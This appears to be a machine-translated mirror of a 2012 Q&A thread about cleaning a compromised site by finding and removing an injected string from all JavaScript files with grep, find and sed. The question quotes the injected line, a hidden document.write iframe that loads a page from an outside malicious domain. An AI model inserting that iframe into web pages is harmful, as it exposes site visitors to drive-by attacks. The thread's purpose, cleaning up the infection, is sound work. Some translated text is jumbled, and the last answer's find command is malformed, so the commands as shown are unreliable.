使用ssh unix在所有* .js文件中查找和删除字符串?

时间:2012-11-05 19:20:13

标签: shell unix ssh

我正在尝试在所有js文件中找到一个字符串(在所有子文件夹中递归)并在可能的情况下删除字符串并显示处理了哪个文件(所以我可以在之后检查它)。

我能够找到字符串。

grep -lr --include="*.js" "antivirusesratings.ru" .

并且用这个:(不确定两种方法之间是否存在差异?)

find ./ -type f | xargs grep -l "antivirusesratings.ru"

所以也许最后一个例子可以改变,以便它也删除字符串。 现在我考虑一下。我想要删除的字符串有引号。没有任何关于如何为以下字符串执行此操作的线索,我真的想在任何地方删除它。

;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')

提前致谢。 我真的很感激!

此致

GOSA

3 个答案:

答案 0 :(得分:0)

ssh可以接收命令作为它的最后一个参数,所以你应该提供super-duper-command来进行清理。

为了清理文件,我认为将find的{​​{1}}参数与某些-exec和输出重定向结合起来会很好。

说,对于找到的每个文件,grep或类似的东西(我认为您可能必须使用临时文件,因为FILE重定向到自身IIRC不起作用)。

尝试使用重定向grep -v UGLY_LINE $FILE > $FILE,然后将其与grep结合使用,最后(可能稍微转义一下),您应该将其放在find内以执行您想要的操作。< / p>

答案 1 :(得分:0)

这是我在unix.stackexchange.com上找到的一个解决同样问题的函数:Deleting Lines Containing a Specified String in Different Files

它使用grep查找包含特定字符串(antivirusesratings.ru为您)的所有文件。然后使用sed命令(行删除)将这些结果传递到d,以删除包含该字符串的行。

与往常一样,请确保在运行该脚本之前备份目录以批量替换文件。

答案 2 :(得分:0)

我认为这就是你想要的:

find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}